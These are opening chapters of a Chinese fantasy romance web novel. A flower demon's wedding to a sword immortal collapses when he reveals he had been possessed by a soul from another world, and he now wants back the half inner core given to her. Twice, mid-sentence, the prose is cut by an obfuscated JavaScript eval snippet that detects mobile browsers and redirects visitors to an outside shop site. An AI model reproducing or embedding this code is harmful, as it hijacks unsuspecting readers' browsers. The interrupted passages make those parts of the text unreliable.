《越雷池》 1. 缘起性空(一) 无量宗地处中州第一峰。 千山如黛,万壑峰青。 今日却一改幽静。 狻猊开道,钟鼓齐鸣,九千九百九十九级天阶皆铺上了红绫。 原来——是云山君陆寂大婚临近。 然而比起浩荡的排场,更令四海仙友玩味的,却是那位即将入门的“君后”。 “云山君乃当世剑道魁首,不知这位君后出自哪一门哪一派,修为又如何?” “修为?” 一位仙友下颌一抬,示意那巍巍仪仗:“瞧见那麒麟銮驾没?听闻这位啊,如今只是个凡人,连宗门的九千九百级台阶都爬不上去,这才需乘驾而上!” “凡人?云山君怎会娶一介凡俗女子?莫非出自哪方隐世大族?” “非也非也。” 另一位仙友压低声音:“若只是凡人倒还罢了。据说她原身乃山中一小花妖,仙妖殊途,水火不容,为嫁云山君,她生生剖了妖丹,这才得无量宗点头!” 听得此言,席间一片哗然。 “既无修为,又非我族类,那定是容貌绝世了?听闻云山君为此女连与九州第一美人的婚约都推拒了?” “容貌么,自然是美的。不过此事倒不只奇在这女子身上,而是云山君。” “世人皆知这位仙君性若孤山,心似寒潭,更有‘云外青山山外仙’之雅称,谁知三月前,他突然像换了个人,不仅笑颜常开,更对此女穷追不舍,故也有人猜,这女子是使了巫术,惑了道君的心……” “荒唐!仙君距飞升仅一步之遥,天地间谁能蛊惑得了他?” “就是。在下曾遥遥望见过君后一面,只觉如雪里温柔,水边明秀,并不逊于那第一美人。正所谓,有情皆孽,无人不冤——依我看,云山君不过是动了心罢了。” 议论纷纷,争执不下。 满座宾客越发好奇难耐,引颈张望。 这些私语,乘在銮驾上的辛夷早有耳闻。 其实直到今日大婚,她仍想不通陆寂为何会爱上自己。 确如这些人所言,她原是深山里的一株小花妖,偶然在若水河畔碰见了陆寂,就此牵扯出一段情缘。 修士素来以斩妖除魔为己任,陆寂不杀她已是留情,怎还会爱慕于她? 初时,她以为他认错了人,战战兢兢自报身份。然而他毫不在意,并对她和煦有加。 这与她听闻的陆寂判若两人。 传闻他根骨奇绝,乃无量宗首徒,短短百年便破三境,镀仙身,距渡劫封神仅一步之遥。 也听闻,他修的是太上忘情之道,虽丰神俊朗,却从不沾染红尘。 故而,面对他的示爱,辛夷手足无措,屡次婉拒。 然而,陆寂却紧追不舍,救她于魔窟,赠她以真珠,还告诉她许多新鲜事,譬如“穿越”,譬如“女朋友”。 辛夷不懂什么是“女朋友”,只以为是仙家独有的说法,如同那些晦涩难懂的符咒,懵懵懂懂间点了头。 后来才知,这“做女朋友”,便是答应结成道侣的意思。 她笨拙地解释,他却笑着说“应了便不能反悔。” 辛夷抱怨他耍赖,却再说不出拒绝的话来。 毕竟,她只是天生地养孕育出来的一只小妖,长在深山里,过得十分寂寞。 陆寂的追求虽然令她茫然无措,却也是这黯淡人生里少见的亮色。 她终究还是陷进去了。 他待她太好,她无以为报。 仙门长老说她是妖族,心怀叵测,为了不让陆寂为难,她便生生剖了妖丹,九死一生,化作凡人,才终得首肯。 如今,她修为尽失,还叛离妖族,被下了追杀令。 可她想,没关系。 无论如何,漫漫余生还有陆寂一直陪着她。 她绝不会后悔。 — 婚宴设于无量宗正殿,名流云集,仙音缭绕。 宾客推杯换盏,翘首以盼,当云山君牵着那位君后现身时,满殿目光齐刷刷扫去。 只见那女子披罗衣,珥瑶碧,肩若削成,腰如约素,的确是个不可多得美人。 尤其一双眸子,说不出的清亮。 仿佛峡谷里泠泠作响的溪涧,又像荒原上迎风自开的野花。 看来,这云山君八成是为这女子容色所惑了。 众人目光频频,高堂上的长老们脸色却不大好看。 陆寂乃千年不遇的奇才,本当一心问道,光耀仙门。即便成婚,也该寻一相配的道侣共赴大道,互襄长生。 不料他竟为一妖女动了心,性情大变,终日沉溺儿女情长,荒怠修行。 宗门阻拦,他竟以脱离师门相胁。 万般无奈,他们只得应下这桩荒唐婚事。 有此前情,长老们虽列席婚典,面上却无半分喜色。掌门更是于典礼中途便以不胜酒力为由,拂袖离去。 辛夷早知仙长们不待见自己,故而今日格外谨小慎微。每一道仪式皆提前演练百遍,丝毫不差地完成。 直到被送回婚房,她才敢稍稍放松,等着陆寂回来。 宴会过半,夜色浓深。 没等到人,天幕忽然闪过一道刺目的白光,仿佛要将夜幕撕开。 她心生疑惑:“原来这仙门也有雷电啊,我从前听山里最有见识的老槐树精说仙域都有仙障护着,不必像我们凡间的草木一般受风吹雨淋的苦呢。” 侍立的小仙使没忍住,“噗嗤”一声笑了出来。 辛夷听出了那笑声里的促狭。 自打陆寂将她带回无量宗,这般意味的笑她已听过不少。 大抵是笑她来自穷乡僻壤,见识浅薄。 她很有自知之明,并不气恼,只是认真地请教:“敢问仙使,我说错话了么?若是错了,烦请仙使告诉我,免得日后又闹笑话。” 那小仙使听到如此真诚的语气,声音略微恭敬了些:“君后言重了。仙山的确有仙障,不受外界风雨侵扰。方才是有不自量力的妖族来犯,被君上一剑斩杀。那白光并非闪电,而是君上的归藏剑出鞘时的剑光。” “那道光仿佛能撕裂天地,竟只是陆寂的剑光?”辛夷微微睁大了眼,她虽与陆寂成婚,但这数月来还没见过他大动干戈。 “正是。”小仙使不自觉挺直了背脊,与有荣焉,“我家君上乃当世修为第一,翻手为云,覆手为雨,十八年前他飞升上仙时扶桑神木上高悬的浮金钟自鸣三日,声动寰宇,相比之下,这区区一道剑光又算得了什么!” “原来那好听的仙乐是为陆寂而鸣的……” 辛夷又惊讶了一番,恍然里带着一点奇妙的宿命感。 十八年前正是她化形之际,听到的第一道声音便是一段缥缈的仙音。 美妙至极,故而久久难忘。 之后她四处寻觅,却再没听过。 因缘际会,竟在今日得知了出处。 若是如此,这桩婚事确实是她高攀了。 难怪这些仙使总是暗暗嘲笑她,陆寂的师长们也都看不起她…… 她暗自下定决心,今后也要努力修仙问道。 不求能与日月同辉,至少不能成为陆寂的拖累。 正暗下决心时,门外忽然响起不疾不徐的脚步声,是陆寂回来了。 殿内仙使们慌忙垂首肃立,辛夷也赶紧将盖头盖好。 然而,今日的陆寂似乎有些怪。 踏入房门后,并未按礼制与她同饮合卺酒。 这仙山不是最讲规矩么?光是门规就有上千条。为了大婚顺利进行,辛夷日夜背诵那些佶屈聱牙的规章仪典,头昏眼花,好不容易才记住。 也许,陆寂是心疼她累了数日,才特意省去这些虚礼? 倒是比从前体贴。 盖头下,她的唇角弯了弯。 挥退仙使后,陆寂提着剑,带着一身夜色的凉气和浓重的血腥味径直走至榻边。 是妖的血味。 她同族的血。 辛夷下意识屏息,莫名不安。 仙妖虽殊途,可陆寂从未像其他仙人那般对妖族抱有敌意,甚至说万物有灵。 今日怎会大开杀戒? 许是……那些妖犯了不可饶恕的罪孽吧。 她尽量不让自己多想。 然而眼前人却迟迟没说话,沉默地站在她面前,像一座不可逾越的高山。 等得久了,辛夷暗自猜想,陆寂该不会是忘了流程吧? 原来这般厉害的人物也有紧张的时候啊…… 心底那点不安被这个猜测冲淡了些,生出几分促狭。 她轻轻拽了拽他的袖角:“你怎么不动呀?该掀盖头啦……” 话音未落,那片衣袖冷淡地从她指尖抽离。 紧接着,盖头被剑尖挑起,翩然 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陆寂薄唇微动,言简意赅:“并非戏言,你可听过夺舍?此前三月,有异界之魂趁我受伤占据了我的身体,与你成婚非我所愿,一切到此为止。” 辛夷只是一个小妖,生于山野,长于蛮荒,自然没听过夺舍。 仙门的人说话弯弯绕绕,刚来时她总听不懂。 后来被嘲笑得多了,才勉强学会揣摩言外之意。 她努力咀嚼他话中的意思,然后默默从怀中摸出那卷大红的婚书。 “我、我知道的,我生而为妖,即便为你剖去妖丹,化作了凡人,终究是不同的。你若是后悔了,或是疑心我,直说就好……我们可以一刀两断。这些日子你待我的好我都真真切切地记着,往后,也绝不怨你……” 她磕磕巴巴,只希望他不要像仙门其他人那么残忍。 即便后悔,也坦诚一些,至少给一个她能听懂的理由。 “你多虑了。我说过,我不是他。于我而言,你只是个陌生人。” 陆寂英挺的眉蹙了蹙。 那被小心翼翼捧起的婚书瞬间化作一缕青烟。 辛夷的心也随之沉入谷底。 或许,眼前人说的是真的。 那个会同她说心正则道同的陆寂,绝不会在大婚之日身染她同族的血归来。 那个总是同她说笑的陆寂,也绝不会用如此陌生的眼神注视她。 还有这婚书……是他握着她的手,在灯下一笔一画写就的。他还说,要等到两人都白发苍苍的时候再拿出来给儿孙们看。 可这整整三个月,她确确实实与一个名叫“陆寂”的人相知、相伴、相爱。 若一切只是误会,她算什么? 这场九州同贺的婚典,又算什么? 她为他剖丹叛族,日后,又该如何自处? 辛夷怔怔望着眼前人,只觉荒谬绝伦。 “那……敢问仙君,”她鼓足勇气,“那个占用您身子的人去往何处了?” “不知。”陆寂语气冷淡。 辛夷心头仿佛又被活生生挖开一次。 消失了? 追求她,令她动心,娶她进门,然后连一句告别,一个解释都没有,就在大婚之夜突然离去,留下她一人像个不知所措的笑话。 他究竟是谁?又为何要这般玩弄她? 纵然千般万般无奈,辛夷不是不明事理的人。陆寂既然不是同她相爱的那个人,她也不会纠缠不清。 “我明白了。”她眼睫低垂,“既是一场误会,那便如仙君所言,一切到此为止,我这便离开,不扰仙君清修。” “且慢。” 挽留的声音传来,辛夷脚步一顿,心底竟又生出一丝渺茫的期待—— 会不会,这又是一次过分的玩笑? 她缓缓回眸。 烛光下,陆寂容颜依旧俊美如神祇。 声音却异常冷淡,像昆仑山巅终年不化的雪。 “那夺舍之人曾将我半枚内丹给了你,仙妖殊途,此丹流落在外恐生祸患,必须取出。” 并不是玩笑。 竟是为了剖丹。 最后一丝希望也消失殆尽。 在眼泪掉下来之前她匆忙转过身去,良久,才从喉间挤出一个干涩到发苦的字。 “……好。” 2. 缘起性空(二) 洞房内,喜烛将尽,烛泪层层滴落,摞成了一座小山。 辛夷想,倘若眼泪像烛泪一样有形状,她此刻怕也能把泪堆成山。 但她忍住了。 不能哭。 已经很狼狈了,不可以再露出软弱的一面。 仔细回想,陆寂的确曾剖过半枚内丹给她。 那时,为求无量宗同意婚事,她甘愿自剖妖丹,散尽修为。 此法痛苦至极,需要活活剖开心口,从血肉中取丹,稍有差池还会殒命。 她险些没挺过来。 命悬一线之际,是当时的陆寂剖出半枚自己的内丹为她续住了一缕心脉。 彼时,她以为这是以命换命的情深。 如今想来,若此举只是夺舍之人的借花献佛,对陆寂这般距飞升仅一步之遥的剑道魁首而言着实不公。 甚至称得上荒谬。 辛夷垂下眼帘,心生愧疚:“此事终究因我而起。这半枚仙丹本是仙君之物,理当归还。仙君尽管取出。” 她取出一柄匕首,双手奉上。 陆寂却未接,只道:“剖丹是禁术,如何施术需从长计议,这几日,你便暂且留在仙山。” 简短,无情,淡漠至极。 辛夷此刻非人非妖,即便离开仙门,也无处可去。 何况陆寂的态度并不是商量,而是告知。 她只得俯身一拜:“谢过仙君。” 尚未起身,陆寂已推门而去。 夜风灌进来,吹得她浑身寒凉。 心口剖丹处的旧伤明明早已愈合,此刻忽然无声无息又痛了起来。 —— 月至中天,筵席尽散,无量宗重归寂静。 翠微峰顶,思过崖边,掌门清虚子凭栏而立,夜风吹起他霜青的道袍,猎猎作响。 “荒唐!”十二峰主之一的青阳君面色霜寒,“娶妖女已是离经叛道,竟还大张旗鼓举办婚典。师尊您是没瞧见席间各派宾客窃窃私语的场面,我无量宗万年清誉简直毁于一旦!” “大师兄且息怒。”同为峰主的瑶光君把玩着手中折扇,悠然开口,“师弟只是真心想给那姑娘一个名分罢了,她既已自剖妖丹,便与妖族一刀两断,这份决绝倒也令人动容。” “动容?”青阳君冷笑,“难道不是荒谬?这三月来,陆寂沉溺儿女私情,荒废修行,屡次顶撞师尊,为那妖女甚至扬言叛出师门,这等不忠不孝不义之徒日后何以执掌宗门?” 瑶光君还想为陆寂争辩,身后一道清冷嗓音蓦然响起。 “——是我的错。” 二人齐齐回眸,只见陆寂不知何时已立于青松之下。红衣灼灼,眉眼却好似凝着霜雪。 青阳君并不怕被听见,面露讥讽:“春宵一刻值千金,师弟怎么舍得出洞房?前几日不是还当着师尊的面振振有词,慷慨激昂,说宁负天下也不负卿么?” 陆寂眉峰几不可察地一蹙:“此事……说来话长。先前数月,我遭人夺舍。诸般作为皆非我本意,若有冲撞师尊之处,我愿领罚。” “夺舍?”一直沉默的清虚子转过身来,“此术是上古邪术,你是说,你近期性情大变,是中了邪术?” “正是。” “笑话!”青阳君全然不信,“本君不才,却也记得,这夺舍之术至多只能维持七日,但师弟性情大变足足三月有余!该不会……是发觉这桩婚事遭尽非议,反悔了,才编出这般说辞吧?” “诶,大师兄此言差矣!”瑶光君扇面一合,正色道,“师弟虽性情冷了些,为人却是众所周知的端正。既出此言,必有蹊跷,也许是这夺舍之人不同寻常,所以时日也久了些?” 青阳君还要开口,清虚子已让陆寂上前:“你是缘何被夺舍?那夺舍者的来历,又可清楚?” 这话,便是信了。 青阳君袖中的手微微攥紧,明明他才是师尊收下的第一个徒弟,可自从陆寂拜入师门后,一切就变了。 此番他娶妖女、叛师门,闹出这般祸事,师尊竟仍这般轻信! 陆寂只当未见青阳君眼中愤懑,声音沉缓:“回禀师尊,三月前,我因封印妖域受了反噬,陷入昏迷,这异魂便在我昏迷时趁虚而入。之后,我的神魂被困识海,直至大婚礼成,灵台松动之际,方得破出。” “至于他的身份……”他稍稍停顿,“只记得此人言辞怪异,举止失当,常提起‘穿越’等字眼,虽不知何意,但据弟子猜测,这魂魄大约是来自异界。” “这九州四域,本君曾一一遍览,从未听说还有异界!云山君真是好口才,为了圆谎竟不惜罔顾事实!” “青阳,勿要妄言!”清虚子若有所思,“道经有云:道生一,一生二,二生三,三生万物。万物之下又有四生六道,三界十方。依我看,异界或许当真存在。” “何况……”他不知想到了什么,“妖族不正是洪荒之时,从天穹裂隙中泄出的至邪之气所孳生的秽物么?女娲补天之后,这至邪之气方被挡住。但细究这邪气的来源,或许正是出自这天外的异界。” 一番话说下来,青阳君哑口无言:“……是弟子愚钝。” 清虚子不再追究,只对陆寂道:“这些年天穹又有崩裂之势,妖邪之气不断逸散,或许,这异界之魂便是从这裂隙中钻入,阴差阳错进了你的身体。你可还有恙?” “弟子无碍。”陆寂神色沉静,“无论如何,既是我这身皮囊惹出的风波,自当由我了结。” 清虚子长叹:“那异魂的确是个不安分的,搅得无量宗上下不安。可……你回来得不巧,礼已成,人已娶,那女子,你当如何处置?” 陆寂语调平静:“我已同她说清,婚事作废,再无瓜葛。” “断了?”瑶光君忍不住插话,“其实,那姑娘颇为可怜,本是山间一小妖,被你这身皮囊百般招惹才入了仙门,为表诚心又活剖了妖丹。如今你说断就断,往后她仙非仙,妖非妖,凡也非凡,在三界中该如何立足?” 峰顶一时沉默下来,只余松风簌簌,冷月斜照。 “仙妖殊途,人尽皆知,她既选了这条路,便当承受后果。”陆寂声线清冷,“我与她只剩一事未清,那夺舍之人曾将我半枚内丹赠予她,此丹承载了我半身修为。” 瑶光君知晓他的脾气,叹了声“也罢”。 “你既无情于她,也该将内丹取回,不过,这取丹乃逆天之术,上回你能活下来实属运气,你当真要再冒一次险?” “并非要取回。”陆寂不疾不徐,“我纵然只剩一半修为,也足够压制妖族。只是,妖性狡诈,蕴藏我一半修为的内丹若留在她身上日后恐后患无穷。” 半身修为便能压制万千妖族。 好大的口气! 青阳君素来不满陆寂骨子里的傲慢,冷嘲道:“师弟既并非要拿回内丹,那便是要毁了内丹,杀了这小花妖?” “大师兄怕是误会了吧!”瑶光君打圆场道,“这女子虽是妖,但本性纯良,并未害过人,纵然放她离开,她也不敢造次,何至于如此?” “误会?”青阳君目光灼灼,“瑶光,你莫非忘了咱们这位云山君在妖界的威名了?这些年何曾有半个妖族从他手中活命!” 二人齐刷刷看过去,只见峰顶月色茫茫,映照陆寂那俊美苍冷的脸上,显得格外薄情。 瑶光君心头一凛,这才蓦然想起一段这位天之骄子那段不可说的往事。 传闻,妖族是阴气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955390|193112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孳生的秽物。 妖性本邪,道行越高,心性越难自控,常常祸乱人间。 女娲补天之后,裂隙弥合,邪气也暂时断绝,然当时万妖已横生,绵延不断。 女娲遂挑选部分人族授以修行飞升之道,令其斩妖除魔,护佑苍生。 修士一脉,正由此而起。 此后数万载,仙妖相争,此消彼长。 陆寂本生于九州仙门世家,传说中的陆吾神君一脉。 彼时,仙门与世家之中颇有一些主张仙妖共存者,竞陵陆氏身为大族,正是其中力倡的一支。 陆寂的母亲便曾救下过一只险些被修士烧死的妖狐,并将其带在身边照顾。 这小狐妖养在府邸八年,与人为善,温驯可亲,一度成为仙妖相处和睦的佳话。 不料,这一念之善,竟惹来了灭门之祸。 这小狐妖真身竟是九尾妖狐,罕见的千年大妖! 当日它差点被烧死不过是因渡劫失败而已。 潜伏在陆氏八年,既是为了养伤,也是为了探得陆吾氏秘宝所在。 找到秘宝的那一日,九尾妖狐现出真身,夺宝弑主,将陆氏全族三百余口屠戮殆尽,陆母亦未能幸免…… 只有陆寂一人被藏于法器中,侥幸得活。 此事震惊三界,仙妖就此彻底水火不容。 血海深仇,对陆寂而言更是刻骨铭心。 此后,他拜入无量宗,潜心修炼,不到百年便连破三境,登顶大乘,成为当世剑道魁首。 也因这灭门血案,他成了令妖族闻风丧胆的杀神。这些年来死在他剑下的妖族尸骸累累,堆积如山。 偏偏,那夺舍之人占据他的身躯,百般追求,轰动四海,硬是让他娶了一个妖女! 以陆寂的秉性,定对这个小花妖厌恶至极。 因此,他怀疑此女居心叵测,意欲斩杀,以绝后患,也不无道理。 思及此,瑶光君默默叹息,匹夫无罪,怀璧其罪。此事无关对错,各有立场而已。 青阳君唇角则勾起一抹讥诮:“无论如何,这小花妖都是师弟明媒正娶来的,师弟当真没有一丝心软?她如今毫无修为,连台阶都爬不完,我瞧着甚是无害,就此杀了,难道不怕惹人非议?” 陆寂似乎完全不在意旁人对他的看法,语气更没有一丝波澜:“当年那九尾妖狐伏在我母亲膝下求救时,也有人说过类似的话。” “后来,他也成了第一个死在狐妖爪下的人。” “你……” 青阳君面色铁青。 是了,妖族终究是至阴之气所生的秽物,骨子里邪性难驯。 今日看似温顺无害,谁知来日不会也如那妖狐一般狂性大发,大开杀戒? 他可担不起这个责,青阳君只得忍气吞声。 然此时,凭栏而立的清虚子忽然出声:“此女暂不可杀。” 他对陆寂道:“当初这小花妖为证明清白自剖妖丹时,回春谷的医圣也在场,他素来主张仙妖并存。此女虽是妖,但并未害过人,仙门有规矩,对此类小妖不可滥杀,一旦传出去恐损及我无量宗清誉。” “再者,她体内的半枚内丹承载了你半身修为,区区一个小妖自是无关紧要,但若令你修为折半,着实可惜!为师倒从祖师手札中见过其他取丹之法,或可一试。” “师尊竟另有办法?甚好,甚好!”瑶光君大喜,“如此说来,师弟的修为岂不是能拿回来,那女子也不必死了?” “不错。”清虚子捋了捋长长的白须,望向陆寂,“其一,便是阴阳双修。借精气循导,徐徐引渡,可使内丹重归本源。此法可保你无恙,也能留她性命。” “你……可愿意?” 3. 缘起性空(三) 修士不禁尘欲,双修若是得当,对彼此都有裨益,甚至有急功近利之徒研究出了采补之道,成立了合欢宗。 然而听罢清虚子的话,陆寂想也不想便拒绝:“师尊既说其一,想必尚有他法?” 一旁的青阳君暗自冷笑,那妖女虽出身妖族,姿容却堪称绝色。 这位师弟,究竟是太过傲慢,当真觉得仅凭一半修为也可压制妖族呢?还是确实毫无世俗之欲? 与青阳君的暗嘲不同,清虚子听到这个回答眉头却微微舒展。 “为师曾听师祖教诲,说这夺舍之术凶险异常,夺舍者不仅会强占躯壳,更会侵蚀原主心性。意志不坚者,多半会绝望溃散;纵能夺回身体,也难免受夺舍者影响,性情大变;更有甚者,会堕入魔道!” “你素来薄情寡欲,那夺舍之人却对这小花妖情深似海,倘若你选了双修之法,大抵是受了侵扰。幸而你灵台清明,道心坚定,没有令为师失望。” 陆寂只道:“师尊放心,待此间事了,弟子便与此女再无干系。” “如此甚好。”清虚子颇为欣慰,“确有第二种方法,便是让这女子以凡人之身修仙。待她自身结出内丹之时,丹田会短暂打开,到时你可取回属于自己的那半枚,她也可活命。只是,这法子需要耗费的时日更久些,你须暂时忍耐。” “时日无妨,但求两清。” 陆寂语气毫无波动。内丹之事就此落定。 一旁,青阳君听完这一切,后背冒出阵阵冷汗。 原来方才师尊句句皆在试探…… 若换做他,定然会选择双修之法。 以师尊秉性,恐怕当即便判定他道心不坚,就此弃之。 他的师尊,真不愧是昔日杀妻证道改修了太上忘情之道的清虚道君! 这位好师弟也果真尽得师尊真传,无情至极! —— 夺舍乃是修真界大忌,何况承载陆寂半身修为的内丹尚在辛夷体内。此事若传扬出去,必会引得妖魔觊觎,祸乱四起。 是以清虚子下令严禁将此事外传。 是夜,陆寂仍宿于度厄峰。 只是并未踏入婚房,而是径直回了峰顶旧日闭关的寒山居。 清夜无尘,月色如银,被异魂夺舍这数月,度厄峰人仰马翻,只有此处原封不动。 他素来喜静,度厄峰侍者本就不多,贴身几人更是守口如瓶。故而,虽察觉君上新婚之夜竟独宿,也无人敢多嘴一句。 婚房内,红烛已燃尽。 辛夷脱下喜服,认真叠好,当指尖抚过一针一线绣出来的纹饰时,这三月来的点点滴滴不受控地在脑中翻涌, 若水河畔初遇,桃花源中相知,伏魔洞中相救,浮玉山前定情……每一幕都鲜活如在昨日。 她本是山间懵懂一小妖,自由自在,若不是被他招惹也不会沦落至此。 她并非没有怨过。 可连怨都不知该怨谁,因为她甚至不知道那人的真实名姓。 直到一个身穿淡紫衣裙的圆脸少女推门而入,她才发觉自己竟这般默默坐了一夜。 “辛夷,佛靠金装人靠衣,你怎么还穿着从前的衣裳?那云山君不是将来要执掌天下第一宗的吗,出手竟如此寒酸?” 来人是丁香,辛夷从前在浮玉山的好友。 浮玉山位于九州西荒,地处偏僻,山上多是些花精树灵之类的小妖。 当初,她决意嫁给陆寂离开浮玉山时,看着她化形长大的老槐树精气得吹胡子瞪眼,说仙妖殊途,她一意孤行,将来肯定会后悔。 其他的好友如海棠和杜鹃也不赞成她和修士扯上关系。 所以,这次大婚,只有丁香一人翻了好多座山,淌过了好多条河特意来看她。 一语成谶。 辛夷的确后悔了。 见到丁香,压抑了一整夜的眼泪再也控制不住簌簌落下。 “大喜的日子,怎么哭了?是不是那个仙君欺负你了?”丁香昨夜喝了一杯玉露后便醉倒了,全然不知发生的一切。 但她太了解辛夷,她性子太软,只有她受欺负的份儿。 袖子一捋,起身便要找人理论。 辛夷忙将人拉住:“不关陆寂的事。” “人是他带出来的,就算不是他做的,也和他脱不了干系!你别怕。老槐树精虽然生气你爱上了修士,但他还是牵挂你的,这回我偷跑出来,他悄悄在我行囊中塞了一截他的老树枝。他可是五百年道行的大妖,这树枝可以化剑,是一个极厉害的法器呢!” 丁香抽出那截盘曲虬结的树枝,念念有词,那枝桠果然应声化为一柄寒光凛凛的长剑。 剑光雪亮,好似老槐树精明亮又和蔼的眼。 辛夷鼻头蓦地一酸。 从前,她们这群小花妖最喜欢围坐成一圈,在月夜下听老槐树精讲故事。 要是当初听他的话就好了。 辛夷来不及后悔,只是劝道:“在仙山的这些日子我长了很多见识,老槐树精在浮玉山虽然是活得最久也最厉害的,到了外面却算不得大妖,他的树枝在无量宗这些仙人们眼里更是不入流的法器,更别提陆寂这样的剑仙了。我们打不过他的……再说,此事算起来,是我对不住他才是。” 丁香瞪大了眼:“你能有什么对不住他的?你心肠最软了,从前杜鹃那么欺负你,她受伤时你还是替她浇水,带她晒太阳。定是哪里弄错了!” “是错了。”辛夷叹一口气,将这桩无比荒唐的事情原原本本告诉了丁香。 丁香消化了好一会儿,才讷讷道:“你是说……此陆寂非彼陆寂,对你示爱,娶你过门,都是那夺舍之人的主意?现在真正的陆寂回来了便不要你了?” “他也是受害者,莫名其妙被成了婚,还是一个没什么见识的小妖,这么做也是应当的。现在只等他拿回内丹便可以一刀两断了。” 丁香瞬间炸了毛:“不行!你已剖去了妖丹,若是连这半颗内丹也没了你会死的!” “别人的东西总要还回去的,怪只怪我自己当初行事不计后果。” “你之所以会剖出妖丹,还不是被无量宗这帮糟老头子逼的?这丹不能还,我们走!” 她拽着辛夷便往外去,刚到门边,迎面忽撞上一股冷冽气息。 一抬头,只见陆寂逆光站着,鼻梁高挺,身如劲松。 明明还是同一张脸,神态却已截然不同。 连丁香这个外人都能一眼看出差别。 她心底发怵,却仍壮着胆子抽出树枝剑,拦在辛夷身前:“我就算拼了性命也不会让你伤辛夷的!瞧见没,这可是五百年大妖的法器,你若敢动手,我、我就把你捅成筛子!” 陆寂只淡淡扫过,那柄长剑便喀嚓一声整整齐齐断成两截。 丁香手腕被震得发麻,微微瞪大了眼。 辛夷昨晚见过陆寂出手,倒是不算震惊,只是十分心疼,连忙捡起断成两截的树枝抱在怀里:“你、你怎么能随便毁了别人的东西呢,这是老槐树精给丁香的!” 陆寂对她口中说的那些不入流的花精树精似乎颇为不耐,只道:“仙妖殊途,往后莫将妖族之物带入无量宗。你随我来。” 丁香十分警惕:“去哪里?就算你很厉害也不能不讲道理,否则……否则我定让天下人都知道你们仙门尽是伪君子!你们不是最重名声吗?怕了吧!” “我若不允,你以为你出得了无量宗?” 陆寂容貌英俊,却透出一股凛冽杀意,压得丁香浑身僵硬,毫无动弹之力。 辛夷急急挡在前面:“此事和旁人无关!我愿意把丹还给你,哪怕要我的命。她只是一个小妖,请你放过她!” “有用之人的命才配做筹码,你觉得你的命在我眼里有分量吗?”陆寂言辞犀利。 “我……”辛夷一时语塞。 当真是变了,从前的陆寂为了她愿意以命换命,如今的他连她的生死都毫不在意。 陆寂似乎不愿多费口舌:“只是让你修仙而已,待结出仙丹后再取出那半颗内丹,便算两清。” 辛夷愣住了:“我原先是妖,真的可以修仙吗?” 陆寂向来不回答愚蠢的问题,只丢下一句:“只要你的资质尚没到无可救药的地步。” “喂,辛夷也是受害者,你就不能语气好一点么!” 辛夷连忙捂住丁香的嘴,而后朝陆寂郑重一揖:“无论如何,只要有办法便好,多谢仙君。” 陆寂倒也没真跟她们计较,命人引着去翠微峰测灵根。 —— 浮玉山远离人世,对于外界知之甚少,更别提修仙了。 辛夷也就是近日在无量宗见了些世面,才知晓一些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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血滴落在灵石槽中的那一刻,问道石突然光华大盛,恍如白昼。 辛夷一时愣住了,不知是好是坏。 守石仙使从未见过如此刺目的光芒,双双以手遮眼。 就连陆寂眼中也微微泛起波澜。 “怎么样了!”门外的丁香瞧见这光芒激动不已,忍住不适跌跌撞撞冲过来。 这光芒只停留了片刻便消散。 随后,灵石上代表五种灵根的血线缓缓升起,最终停在了同一水平线,彻底不动。 “五条!”丁香喜形于色,拉住仙使追问,“五种灵根俱全,是不是表示我们辛夷资质最好?” 仙使不敢看陆寂神情,低声答道:“……并非如此。灵根并非越多越好,而是越少越佳。单灵根最为罕见,天赋也最高。若是五灵根,便是资质最差,恐怕……与仙道无缘。即便勉强修行,日夜不休,至少也要百年才能结丹。” 生为妖族,却改道修仙,辛夷预感自己资质不会太好,但也没想到会是最差的五灵根。 丁香一脸难以置信:“会不会弄错了?” 那仙使也觉得蹊跷,方才血初滴落时白光大盛,是他有生以来见过最耀眼的灵光,丝毫不逊于当年云山君测灵根时的景象。 可不知为何,那光却如昙花一现。 仙使又让辛夷试了一次,结果毫无二致。 殿内顿时冷了下来。 陆寂一言不发,周身气息却令人不敢近前。 辛夷也叹了口气,难道,她真的要和他一起待上百年? 从前她烦恼的是和陆寂情深缘浅,现在倒好,反过来了,感情是没有的,孽缘是斩不断的。 丁香瞧出了她的落寞,轻轻捏了下她手心:“怕了?修炼有什么难,你这么聪慧,说不定用不了百年就能结丹!” 辛夷不知该如何回答。 她的确怕,但不是怕修炼,而是怕长久留在这里。 能够和陆寂长厢厮守,对从前的她而言的确是不可多得的美梦。 但如今他已不再爱她,甚至视若无物,再日日看着这张熟悉却冷淡的脸……美梦便成了噩梦。 4. 缘起性空(四) 看见辛夷难过,丁香忍不住拉着仙使质询。 “一百年也太久了,会不会弄错了?在浮玉山时,老槐树精常说辛夷极有慧根,怎么到了你们这儿便成了没有仙缘了?” 仙使神情严肃:“问道石绝不会出错,何况已验了两次了,没有仙缘便是没有。” 辛夷彻底垂下了头。 离开大殿后,她快步追上前方那道清冷身影,低声道歉:“对不住,是我资质愚钝,拖累仙君了。” 陆寂回眸,只见这小花妖要把头垂到地上了,终究还是开了口:“无量宗有一味灵丹叫做洗髓丹,可洗筋伐髓,重塑资质。只是洗髓之痛堪比剔骨削肉,非常人所能承受,你可愿一试?” 辛夷毫不犹豫:“愿意。” 丁香急忙扯住她衣袖:“你最怕痛了,平时被树枝划道口子都要红眼眶,那丹药听着就骇人,怎能轻易去试?” 辛夷反握住丁香的手安慰:“既然是欠别人的,自然要还回去的。无论付出多少代价都是我应当的。” 听见两人的低语,陆寂提醒道:“这洗髓丹世上仅存一颗,多少修士求之不得。你若无把握,便不要占旁人的机会,此刻反悔还来得及。” 